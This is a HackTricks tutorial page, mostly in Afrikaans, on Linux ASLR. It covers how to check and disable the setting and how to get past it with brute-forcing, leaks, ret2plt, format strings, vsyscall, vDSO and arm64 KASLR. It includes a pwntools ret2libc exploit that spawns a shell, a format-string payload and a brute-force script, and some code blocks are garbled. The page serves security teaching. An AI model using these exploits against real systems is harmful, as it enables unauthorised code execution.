ASLR

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Basiese Inligting

Address Space Layout Randomization (ASLR) is ’n sekuriteitstegniek wat in bedryfstelsels gebruik word om die geheue-adresse te randomiseer wat deur stelsel- en toepassingsprosesse gebruik word. Deur dit te doen, maak dit dit aansienlik moeiliker vir ’n aanvaller om die ligging van spesifieke prosesse en data te voorspel, soos die stack, heap, en libraries, en sodoende sekere tipes exploits te beperk, veral buffer overflows.

ASLR-status kontroleer

Om die ASLR-status op ’n Linux-stelsel te kontroleer, kan jy die waarde uit die /proc/sys/kernel/randomize_va_space lêer lees. Die waarde wat in hierdie lêer gestoor is bepaal watter tipe ASLR toegepas word:

  • 0: Geen randomisering. Alles is staties.
  • 1: Konserwatiewe randomisering. Shared libraries, stack, mmap(), VDSO page word gerandomiseer.
  • 2: Volle randomisering. Benewens elemente wat deur konserwatiewe randomisering gerandomiseer word, word geheue wat deur brk() bestuur word ook gerandomiseer.

You can check the ASLR status with the following command:

cat /proc/sys/kernel/randomize_va_space

Uitskakeling van ASLR

Om ASLR te uitskakel, stel jy die waarde van /proc/sys/kernel/randomize_va_space op 0. Dit word oor die algemeen nie aanbeveel om ASLR buite toets- of foutopsporingsscenario’s uit te skakel nie. Hier is hoe jy dit kan uitskakel:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Jy kan ook ASLR vir ’n uitvoering afskakel met:

setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args

Aktivering van ASLR

Om ASLR te aktiveer, kan jy ’n waarde van 2 na die /proc/sys/kernel/randomize_va_space-lêer skryf. Dit vereis gewoonlik root privileges. Om volle randomisering te aktiveer, gebruik die volgende opdrag:

echo 2 | sudo tee /proc/sys/kernel/randomize_va_space

Volhoubaarheid na herbegin

Veranderinge wat gemaak is met die echo-opdragte is tydelik en sal by herbegin teruggestel word. Om die verandering volhoubaar te maak, moet jy die /etc/sysctl.conf-lêer wysig en die volgende reël byvoeg of wysig:

kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR

Na die redigering van /etc/sysctl.conf, pas die veranderinge toe met:

sudo sysctl -p

Dit verseker dat jou ASLR-instellings oor herlaaie behoue bly.

Bypasses

32bit brute-forcing

PaX verdeel die prosesadresruimte in 3 groepe:

  • Code and data (initialized and uninitialized): .text, .data, and .bss —> 16 bits of entropie in the delta_exec variable. This variable is randomly initialized with each process and added to the initial addresses.
  • Memory allocated by mmap() and shared libraries —> 16 bits, named delta_mmap.
  • The stack —> 24 bits, referred to as delta_stack. However, it effectively uses 11 bits (from the 10th to the 20th byte inclusive), aligned to 16 bytes —> This results in 524,288 possible real stack addresses.

Bostaande data is vir 32-bit stelsels en die verminderde finale entropie maak dit moontlik om ASLR te omseil deur die uitvoering keer op keer te herhaal totdat die exploit suksesvol voltooi is.

Brute-force ideas:

  • If you have a big enough overflow to host a big NOP sled before the shellcode, you could just brute-force addresses in the stack until the flow jumps over some part of the NOP sled.
  • Another option for this in case the overflow is not that big and the exploit can be run locally is possible to add the NOP sled and shellcode in an environment variable.
  • If the exploit is local, you can try to brute-force the base address of libc (useful for 32bit systems):
for off in range(0xb7000000, 0xb8000000, 0x1000):
  • As jy ’n remote server aanval, kan jy probeer om die brute-force die adres van die libc funksie usleep, deur byvoorbeeld 10 as argument te gee. As die server op ’n stadium 10s ekstra neem om te reageer, het jy die adres van hierdie funksie gevind.

Tip

In 64bit systems is die entropie baie hoër en dit behoort nie moontlik te wees nie.

64 bits stack brute-forcing

Dit is moontlik om ’n groot deel van die stack met env variables te beset en dan die binary honderde/duisende kere lokaal te misbruik om dit te exploiteer.
Die volgende kode wys hoe dit moontlik is om net ’n adres in die stack te kies en elke paar honderde uitvoerings daardie adres die NOP instruction sal bevat:

//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h>

int main() {
unsigned long long address = 0xffffff1e7e38;
unsigned int* ptr = (unsigned int*)address;
unsigned int value = *ptr;
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
return 0;
}
Python brute-force stack NOP deteksie ```python import subprocess import traceback

Start the process

nop = b“\xD5\x1F\x20\x03“ # ARM64 NOP transposed n_nops = int(128000/4) shellcode_env_var = nop * n_nops

Define the environment variables you want to set

env_vars = { ‘a’: shellcode_env_var, ‘b’: shellcode_env_var, ‘c’: shellcode_env_var, ‘d’: shellcode_env_var, ‘e’: shellcode_env_var, ‘f’: shellcode_env_var, ‘g’: shellcode_env_var, ‘h’: shellcode_env_var, ‘i’: shellcode_env_var, ‘j’: shellcode_env_var, ‘k’: shellcode_env_var, ‘l’: shellcode_env_var, ‘m’: shellcode_env_var, ‘n’: shellcode_env_var, ‘o’: shellcode_env_var, ‘p’: shellcode_env_var, }

cont = 0 while True: cont += 1

if cont % 10000 == 0: break

print(cont, end=“\r”)

Define the path to your binary

binary_path = ‘./aslr-testing’

try: process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True) output = process.communicate()[0] if “0xd5” in str(output): print(str(cont) + “ -> “ + output) except Exception as e: print(e) print(traceback.format_exc()) pass

</details>

<figure><img src="../../../images/image (1214).png" alt="" width="563"><figcaption></figcaption></figure>

### Local Information (`/proc/[pid]/stat`)

Die lêer **`/proc/[pid]/stat`** van 'n proses is altyd deur almal leesbaar en dit **bevat interessante** inligting soos:

- **startcode** & **endcode**: Adrese bo en onder die **TEXT** van die binêre
- **startstack**: Die adres van die begin van die **stack**
- **start_data** & **end_data**: Adrese bo en onder waar die **BSS** is
- **kstkesp** & **kstkeip**: Huidige **ESP** en **EIP** adresse
- **arg_start** & **arg_end**: Adrese bo en onder waar **cli arguments** is.
- **env_start** &**env_end**: Adrese bo en onder waar **env variables** is.

Daarom, as die aanvaller op dieselfde rekenaar is as die binêre wat uitgebuit word en hierdie binêre nie die overflow vanaf ru argumente verwag nie, maar vanaf 'n ander **input that can be crafted after reading this file**. Dit is moontlik vir 'n aanvaller om **sommige adresse uit hierdie lêer te kry en offsets van hulle saam te stel vir die exploit**.

> [!TIP]
> Vir meer inligting oor hierdie lêer, kyk [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) en soek na `/proc/pid/stat`

### Having a leak

- **The challenge is giving a leak**

If you are given a leak (easy CTF challenges), you can calculate offsets from it (supposing for example that you know the exact libc version that is used in the system you are exploiting). This example exploit is extract from the [**example from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (check that page for more details):

<details>
<summary>Python exploit with given libc leak</summary>
```python
from pwn import *

elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()

p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)

libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')

payload = flat(
'A' * 32,
libc.sym['system'],
0x0,        # return address
next(libc.search(b'/bin/sh'))
)

p.sendline(payload)

p.interactive()
  • ret2plt

Deur ’n buffer overflow te misbruik sou dit moontlik wees om ’n ret2plt te exploit om ’n adres van ’n funksie uit die libc te exfiltrate. Kyk:

Ret2plt

  • Format Strings Arbitrary Read

Net soos in ret2plt, as jy ’n arbitrary read via ’n format strings vulnerability het, is dit moontlik om die adres van ’n libc function uit die GOT te exfiltrate. Die volgende example is from here:

payload = p32(elf.got['puts'])  # p64() if 64-bit
payload += b'|'
payload += b'%3$s'              # The third parameter points at the start of the buffer

# this part is only relevant if you need to call the main function again

payload = payload.ljust(40, b'A')   # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])

Jy kan meer inligting oor Format Strings arbitrary read vind in:

Format Strings

Ret2ret & Ret2pop

Probeer ASLR omseil deur adresse binne die stack te misbruik:

Ret2ret & Reo2pop

vsyscall

Die vsyscall meganisme verbeter prestasie deur sekere system calls in user space uit te voer, alhoewel hulle fundamenteel deel van die kernel is. Die kritieke voordeel van vsyscalls lê in hul fixed addresses, wat nie aan ASLR (Address Space Layout Randomization) onderwerp is nie. Hierdie vaste aard beteken dat aanvallers nie ’n information leak vulnerability benodig om hul adresse te bepaal en in ’n exploit te gebruik nie.\

Daar is egter nie regtig interessante gadgets hier nie (alhoewel byvoorbeeld dit moontlik is om ’n ret; ekwivalent te kry)

(The following example and code is from this writeup)

Byvoorbeeld, ’n aanvaller kan die adres 0xffffffffff600800 binne ’n exploit gebruik. Terwyl ’n direkte sprong na ’n ret instruksie tot onstabiliteit of crashes kan lei nadat ’n paar gadgets uitgevoer is, kan ’n sprong na die begin van ’n syscall wat deur die vsyscall afdeling verskaf word, suksesvol wees. Deur versigtig ’n ROP gadget te plaas wat die uitvoering na hierdie vsyscall adres lei, kan ’n aanvaller code execution bereik sonder om ASLR vir hierdie deel van die exploit te omseil.

Example vmmap/vsyscall and gadget lookup ```text ef➤ vmmap Start End Offset Perm Path 0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff 0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff 0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap] 0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000000000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7fb3000 0x00007ffff7fb9000 0x0000000000000000 rw- 0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar] 0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso] 0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw- 0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack] 0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall] gef➤ x.g
 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
A syntax error in expression, near `.g 
 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'.
gef➤  x/8g 0xffffffffff600000
0xffffffffff600000:    0xf00000060c0c748    0xccccccccccccc305
0xffffffffff600010:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600020:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600030:    0xcccccccccccccccc    0xcccccccccccccccc
gef➤  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3
gef➤  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3
```

vDSO

Let dus op hoe dit moontlik kan wees om ASLR te omseil deur die vdso te misbruik as die kernel saamgestel is met CONFIG_COMPAT_VDSO aangesien die vdso-adres nie gerandomiseer sal word nie. Vir meer info, kyk:

Ret2vDSO

KASLR on ARM64 (Android): omseiling via vaste linear map

Op baie arm64 Android-kernels is die kernel linear map (direct map) basis oor verskeie opstartings heen vas. Kernel VAs vir fisiese bladsye word voorspelbaar, wat KASLR breek vir teikens wat bereikbaar is via die direct map.

  • For CONFIG_ARM64_VA_BITS=39 (4 KiB pages, 3-level paging):
  • PAGE_OFFSET = 0xffffff8000000000
  • PHYS_OFFSET = memstart_addr (exported symbol)
  • Translation: virt = ((phys - PHYS_OFFSET) | PAGE_OFFSET)

Leaking PHYS_OFFSET (rooted or with a kernel read primitive)

  • grep memstart /proc/kallsyms to find memstart_addr
  • Read 8 bytes at that address (LE) using any kernel read (e.g., tracing-BPF helper calling BPF_FUNC_probe_read_kernel)
  • Compute direct-map VAs: virt = ((phys - PHYS_OFFSET) | 0xffffff8000000000)

Exploitation impact

  • No separate KASLR leak needed if the target is in/reachable via the direct map (e.g., page tables, kernel objects on physical pages you can influence/observe).
  • Simplifies reliable arbitrary R/W and targeting of kernel data on arm64 Android.

Reproduction summary

  1. grep memstart /proc/kallsyms -> address of memstart_addr
  2. Kernel read -> decode 8 bytes LE -> PHYS_OFFSET
  3. Use virt = ((phys - PHYS_OFFSET) | PAGE_OFFSET) with PAGE_OFFSET=0xffffff8000000000

Note

Access to tracing-BPF helpers requires sufficient privileges; any kernel read primitive or info leak suffices to obtain PHYS_OFFSET.

How it’s fixed

  • Limited kernel VA space plus CONFIG_MEMORY_HOTPLUG reserves VA for future hotplug, pushing the linear map to the lowest VA (fixed base).
  • Upstream arm64 removed linear-map randomization (commit 1db780bafa4c).

References

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks